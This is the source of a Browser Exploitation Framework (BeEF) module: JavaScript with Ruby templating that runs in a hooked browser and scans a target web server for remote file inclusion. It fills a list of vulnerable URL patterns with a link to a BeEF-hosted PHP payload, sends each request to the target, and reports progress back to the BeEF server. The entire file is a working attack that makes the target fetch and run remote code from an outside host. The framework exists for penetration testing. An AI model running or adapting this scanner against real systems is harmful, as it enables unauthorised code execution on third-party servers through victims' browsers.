//
// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {

  var rproto = '<%= @rproto %>';
  var rhost = '<%= @rhost %>'; 
  var rport = '<%= @rport %>';
  var base_dir = '<%= @base_dir %>';
  var payload_url = beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/rfi_php_<%= @command_id %>.txt?';
  var target = rproto + '://' + rhost + ':' + rport + base_dir;
  var wait = '<%= @wait %>';

  get_url = function(uri) {
    try {
      var xhr = new XMLHttpRequest();
      var rfi = uri.replace(/XXpathXX/g, payload_url);
      xhr.open('GET', target+rfi, true);
      xhr.onload = function () {
      };
      xhr.onreadystatechange = function () {
        if (xhr.readyState == 4 && xhr.status == 200) {
          beef.debug("[command #<%= @command_id %>] Response: " + xhr.response);
        }
      }
      xhr.send(null);
    } catch (e){
      beef.debug("[command #<%= @command_id %>] Something went wrong: " + e.message);
    }
  }

  // add scripts to queue
  var requests = new Array(
<%=
  scripts = []
  File.open("#{$root_dir}/modules/exploits/rfi_scanner/rfi.txt", 'r') do |file_handle|
    file_handle.each_line do |line|
      uri = line.chomp!
      next if uri =~ /^#/
      next if uri.nil?
      next if uri !~ /XXpathXX/
      scripts << "'#{uri.gsub("'", "\\\\'")}'"
    end
  end
  scripts.shuffle.join(",\n")
%>
);

  // process queue
  beef.debug("[command #<%= @command_id %>] Starting RFI scan of "+target+" ("+requests.length+" URLs)");
  beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=starting scan of "+target+" ("+requests.length+" URLs)");
  var timeout = wait * requests.length + 10;
  var handle = setInterval(function() {
    if (requests.length > 0) {
      get_url(requests.pop());
    } else cleanup();
  }, wait*1000);

  // clean up
  cleanup = function() {
    if (handle) {
      beef.debug("[command #<%= @command_id %>] Killing timer [ID: " + handle + "]");
      clearInterval(handle);
      handle = 0;
      beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=scan complete");
    }
  }
  setTimeout("cleanup();", timeout*1000);

});
